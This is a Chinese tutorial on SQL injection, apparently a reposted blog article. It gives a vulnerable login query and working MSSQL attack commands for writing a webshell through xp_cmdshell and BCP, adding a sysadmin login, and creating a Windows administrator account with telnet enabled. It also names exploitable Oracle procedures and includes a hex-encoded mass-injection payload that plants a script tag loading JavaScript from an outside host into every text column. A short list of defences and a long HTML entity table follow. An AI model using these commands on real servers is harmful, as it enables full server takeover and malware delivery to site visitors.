啥是SQL注入(SQL Injection)

所谓SQL注入就是把SQL命令插入到表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造 (或影响)SQL命令,或作为存储过程的输入参数,这类表单可将系统轻则异常、中断,重则可以将数据库权限窃取。

场景重现

一个简单的登陆页面---sql注入

登陆表单:

关键代码:

publicString login() throws   Exception

{

String sql = "SELECT  *  FROMSYS_USER  WHERE account='"+ username +"'";

getCurrentSeesion().createSQLQuery(sql).uniqueResult ();

}

如果此时用户名输入如下则一切安好:

如果这样输入

只是多了一个英文符号',请自行测试结果。

看文请回复,………………是一种美德………………………………………………………………………………

我测试的结果SQL最终执行的语句为:

SELECT  *  FROMSYS_USER  WHERE account='flash8627@hotmail.com'--';

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))

上面最简单的一种SQL注入。

常见的注入语句

SQL Server

猜测数据库名,备份数据库

1.        猜测数据库名

2.        备份数据库

猜解字段名称

1.        猜解法:and(select count(字段名) from表名)>0   若“字段名”存在,则返回正常

2.        读取法:and(select  1  col_name(object_id('表名')  1) from sysobjects)>0   把col_name(object_id('表名')  1 )中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;createtable temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255));--

a)  利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;inserttemp exec master.dbo.xp_availablemedia;--

b)  利用xp_subdirs获得子目录列表,并存入temp表中

;insertinto temp(id) exec master.dbo.xp_subdirs 'c:\';--

c)  利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insertinto temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--(实验成功)

d)  利用 bcp命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Execmaster..xp_cmdshell N'BCP "select * fromSchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp-w -S"localhost" -U"sa" -P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Execmaster..xp_cmdshell N'BCP’即可查看BCP相关参数

查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin,dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin,bulkadmin。

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

设置新的数据库帐户(得到MSSQL管理员账户)

1.        在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin'hax';--

2.        给hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_passwordnull,password,username;--

3.        将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember 'hax','sysadmin';--

xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户)

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows用户,并开启远程登录服务:

a)   判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjectsWHERE xtype = 'X' AND name ='xp_cmdshell'

b)   恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell'的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

通过执行下面语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options',1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c)   禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc'xp_cmdshell';

d)   添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e)   设置好密码:

Exec xp_cmdshell 'net user awen password';

f)   提升到管理员:

Exec xp_cmdshell 'net localgroupadministrators awen /add';

g)   开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'

没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shelloutput ;

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administratorsawen /add';

在使用的时候会报如下错:

SQL Server 阻止了对组件 'OleAutomation Procedures'的过程 'sys.sp_OACreate'、'sys.sp_OAMethod'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole AutomationProcedures'的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

解决办法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures',1;

GO

RECONFIGURE;

GO

恭喜……你的服务器是别人的了

客户端脚本攻击

攻击1:

(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

攻击2:

(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过页面输出的转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”

ORACLE

PL/SQL过程执行存在多个注入问题,远程攻击者可以利用这个漏洞提升特权,当PL/SQL过程执行时,使用definer权限,除非执行AUTHIDCURRENT USER关键词,在这个过程里以调用者特权执行过程,如果过程存在PL/SQL注入,任何过程可以滥用definer权力提升权限。已知受影响过程为:

OwnerProcedure

SYSDBMS_EXPORT_EXTENSION

WKSYSWK_ACL.GET_ACL

WKSYSWK_ACL.STORE_ACL

WKSYSWK_ADM.COMPLETE_ACL_SNAPSHOT

WKSYSWK_ACL.DELETE_ACLS_WITH_STATEMENT

CTXSYSDRILOAD.VALIDATE_STMT

上面几个可利用获得DBA权限。

受影响系统:

Oracle Oracle10g ApplicationServer 9.0.4.0

Oracle Oracle10g ApplicationServer 10.1.0.2

………………

更高级的攻击

将注入的SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

dEcLaRe@s vArChAr(8000) sEt@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

eXeC(@s);--

我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符'0x' )

防止SQL注入

1.        数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户

2.        自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

3.        把危险的和不必要的存储过程删除

4.        非参数化SQL与参数化SQL

将输入值中包含的《HTML特殊转义字符》转换掉。

转义字符如附表转义字符:

5.  类型检查:对接收数据有明确要求的,在方法内进行类型验证。

6.  长度验证:要进行必要的注入,其语句也是有长度的。

7.  使用枚举:如果只有有限的几个值,就用枚举。

8.  关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。

HTML特殊转义字符列表

最常用的字符实体
Character Entities

显示

说明

实体名称

实体编号

半方大的空白

 

全方大的空白

 

不断行的空白格

 

 

<

小于

&lt;

<

>

大于

&gt;

>

&

&符号

&amp;

&

"

双引号

&quot;

"

©

版权

&copy;

©

®

已注册商标

&reg;

®

商标(美国)

×

乘号

&times;

×

÷

除号

&divide;

÷

ISO8859-1 (Latin-1)字符集

HTML 4.01 支持 ISO8859-1 (Latin-1) 字符集。

备注:为了方便起见,以下表格中,“实体名称”简称为“名称”,“实体编号”简称为“编号”

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

&nbsp;

 

¡

&iexcl;

¡

¢

&cent;

¢

£

&pound;

£

¤

&curren;

¤

¥

&yen;

¥

¦

&brvbar;

¦

§

&sect;

§

¨

&uml;

¨

©

&copy;

©

ª

&ordf;

ª

«

&laquo;

«

¬

&not;

¬

&shy;

­

®

&reg;

®

¯

&macr;

¯

°

&deg;

°

±

&plusmn;

±

²

&sup2;

²

³

&sup3;

³

´

&acute;

´

µ

&micro;

µ

&para;

·

&middot;

·

¸

&cedil;

¸

¹

&sup1;

¹

º

&ordm;

º

»

&raquo;

»

¼

&frac14;

¼

½

&frac12;

½

¾

&frac34;

¾

¿

&iquest;

¿

À

&Agrave;

À

Á

&Aacute;

Á

Â

&Acirc;

Â

Ã

&Atilde;

Ã

Ä

&Auml;

Ä

Å

&Aring;

Å

Æ

&AElig;

Æ

Ç

&Ccedil;

Ç

È

&Egrave;

È

É

&Eacute;

É

Ê

&Ecirc;

Ê

Ë

&Euml;

Ë

Ì

&Igrave;

Ì

Í

&Iacute;

Í

Î

&Icirc;

Î

Ï

&Iuml;

Ï

Ð

&ETH;

Ð

Ñ

&Ntilde;

Ñ

Ò

&Ograve;

Ò

Ó

&Oacute;

Ó

Ô

&Ocirc;

Ô

Õ

&Otilde;

Õ

Ö

&Ouml;

Ö

×

&times;

×

Ø

&Oslash;

Ø

Ù

&Ugrave;

Ù

Ú

&Uacute;

Ú

Û

&Ucirc;

Û

Ü

&Uuml;

Ü

Ý

&Yacute;

Ý

Þ

&THORN;

Þ

ß

&szlig;

ß

à

&agrave;

à

á

&aacute;

á

â

&acirc;

â

ã

&atilde;

ã

ä

&auml;

ä

å

&aring;

å

æ

&aelig;

æ

ç

&ccedil;

ç

è

&egrave;

è

é

&eacute;

é

ê

&ecirc;

ê

ë

&euml;

ë

ì

&igrave;

ì

í

&iacute;

í

î

&icirc;

î

ï

&iuml;

ï

ð

&eth;

ð

ñ

&ntilde;

ñ

ò

&ograve;

ò

ó

&oacute;

ó

ô

&ocirc;

ô

õ

&otilde;

õ

ö

&ouml;

ö

÷

&divide;

÷

ø

&oslash;

ø

ù

&ugrave;

ù

ú

&uacute;

ú

û

&ucirc;

û

ü

&uuml;

ü

ý

&yacute;

ý

þ

&thorn;

þ

ÿ

&yuml;

ÿ

数学和希腊字母标志
symbols, mathematical symbols, and Greek letters

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

ƒ

&fnof;

ƒ

Α

&Alpha;

Α

Β

&Beta;

Β

Γ

&Gamma;

Γ

Δ

&Delta;

Δ

Ε

&Epsilon;

Ε

Ζ

&Zeta;

Ζ

Η

&Eta;

Η

Θ

&Theta;

Θ

Ι

&Iota;

Ι

Κ

&Kappa;

Κ

Λ

&Lambda;

Λ

Μ

&Mu;

Μ

Ν

&Nu;

Ν

Ξ

&Xi;

Ξ

Ο

&Omicron;

Ο

Π

&Pi;

Π

Ρ

&Rho;

Ρ

Σ

&Sigma;

Σ

Τ

&Tau;

Τ

Υ

&Upsilon;

Υ

Φ

&Phi;

Φ

Χ

&Chi;

Χ

Ψ

&Psi;

Ψ

Ω

&Omega;

Ω

α

&alpha;

α

β

&beta;

β

γ

&gamma;

γ

δ

&delta;

δ

ε

&epsilon;

ε

ζ

&zeta;

ζ

η

&eta;

η

θ

&theta;

θ

ι

&iota;

ι

κ

&kappa;

κ

λ

&lambda;

λ

μ

&mu;

μ

ν

&nu;

ν

ξ

&xi;

ξ

ο

&omicron;

ο

π

&pi;

π

ρ

&rho;

ρ

ς

&sigmaf;

ς

σ

&sigma;

σ

τ

&tau;

τ

υ

&upsilon;

υ

φ

&phi;

φ

χ

&chi;

χ

ψ

&psi;

ψ

ω

&omega;

ω

?

&thetasym;

ϑ

?

&upsih;

ϒ

?

&piv;

ϖ

&bull;

&hellip;

&prime;

&Prime;

&oline;

&frasl;

&weierp;

&image;

&real;

&trade;

&alefsym;

&larr;

&uarr;

&rarr;

&darr;

&harr;

&crarr;

&lArr;

&uArr;

&rArr;

&dArr;

&hArr;

&forall;

&part;

&exist;

&empty;

&nabla;

&isin;

&notin;

&ni;

&prod;

&sum;

&minus;

&lowast;

&radic;

&prop;

&infin;

&ang;

&and;

&or;

&cap;

&cup;

&int;

&there4;

&sim;

&cong;

&asymp;

&ne;

&equiv;

&le;

&ge;

&sub;

&sup;

&nsub;

&sube;

&supe;

&oplus;

&otimes;

&perp;

&sdot;

?

&lceil;

?

&rceil;

?

&lfloor;

?

&rfloor;

?

&lang;

?

&rang;

&loz;

&spades;

&clubs;

&hearts;

&diams;

重要的国际标记
markup-significant and internationalization characters

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

"

&quot;

"

&

&amp;

&

<

&lt;

<

>

&gt;

>

Œ

&OElig;

Œ

œ

&oelig;

œ

Š

&Scaron;

Š

š

&scaron;

š

Ÿ

&Yuml;

Ÿ

ˆ

&circ;

ˆ

˜

&tilde;

˜

 

&ensp;

 

&emsp;

 

&thinsp;

&zwnj;

&zwj;

&lrm;

&rlm;

&ndash;

&mdash;

&lsquo;

&rsquo;

&sbquo;

&ldquo;

&rdquo;

&bdquo;

&dagger;

&Dagger;

&permil;

&lsaquo;

&rsaquo;

&euro;


JavaScript转义符

转义序列

字符

\b

退格

\f

走纸换页

\n

换行

\r

回车

\t

横向跳格 (Ctrl-I)

\'

单引号

\"

双引号

\\

反斜杠

编程的时候要注意特殊字符的问题,很多运行时出现的问题都是因为特殊字符的出现而引起的。

注意,由于反斜杠本身用作转义符,因此不能直接在脚本中键入一个反斜杠。如果要产生一个反斜杠,必须一起键入两个反斜杠 (\\)。

看文请回复,………………是一种美德………………………………………………………………………………

SQL注入浅水攻防的更多相关文章

  1. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  2. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  3. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  4. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  5. 【渗透攻防Web篇】SQL注入攻击高级

    前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...

  6. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

  7. sql 注入入门

    =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关 ...

  8. 【渗透攻防WEB篇】SQL注入攻击初级

    前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...

  9. 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级

    [web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...

随机推荐

  1. NET Framework 4.5 五个新特性

    .NET Framework 4.5 五个新特性 Framework 4.5 已经开发了几个项目了,想去研究一下VS 2015 里面的跨平台..不过好像4.5内核新特性还没搞明白呢还是先看看4.5内核 ...

  2. hibernate的orphanRemoval

    在@OneToMany与@OneToOne中使用orphanRemoval = true时候 改动保存时候setXXX org.springframework.orm.hibernate3.Hiber ...

  3. Asp.Net MVC5入门学习系列⑤

    原文:Asp.Net MVC5入门学习系列⑤ 检查VS生产的编辑方法和编辑窗体 前面我们一步使用强类型,然后创建Controller(控制器)的时候,VS默认已经给我们把CURD都简单的实现了.这篇的 ...

  4. VS2015预览

    VS2015预览版体验   .NET开源了,JAVA颤抖吧...据说VS2015可以开发android,ios,wp应用程序了,还可以开发能运行在mac,linux上的ASP.NET网站,如果真是这样 ...

  5. tornado settings想到的

    今天有足够多的时间来看看Tornado中RequestHandler和Application这两个类的关系. 昨天想要调用settings中的内容,找了好半天不知道怎么在handler中使用setti ...

  6. 设计模式之职责链模式(Chain of Responsibility)摘录

    23种GOF设计模式一般分为三大类:创建型模式.结构型模式.行为模式. 创建型模式抽象了实例化过程,它们帮助一个系统独立于怎样创建.组合和表示它的那些对象.一个类创建型模式使用继承改变被实例化的类,而 ...

  7. SAE设置记录:修改config.yaml实现地址重写和修改固定链接

    刚搭建完sae博客后闲置下来了,偶尔写两篇文章,最近想整理整理sae,于是开始. 刚新建完博客修改固定链接,可是保存后直接访问出现问题,访问不到文章了,而且我的博客地址前面会出现"1.&qu ...

  8. 学习selenium python版最初的一个小想法

    这个还是我在刚开始学习selenium的时候做的,自己觉得有点意思,在接下来我会基于目前我对于selenium的一些深入研究,写下我对selenium的理解以及UIAutomation的一些理解,以此 ...

  9. 冒泡排序最佳情况的时间复杂度,为什么是O(n)

    冒泡排序最佳情况的时间复杂度,为什么是O(n) 我在许多书本上看到冒泡排序的最佳时间复杂度是O(n),即是在序列本来就是正序的情况下. 但我一直不明白这是怎么算出来的,因此通过阅读<算法导论-第 ...

  10. 加载DLL模块

    关于Windows平台下应用程序加载DLL模块的问题. 本文将讨论以下问题: (1)Windows可执行程序会从哪些目录下加载DLL. (2)如何将可执行使用的DLL放置到统一的目录下,而不是与EXE ...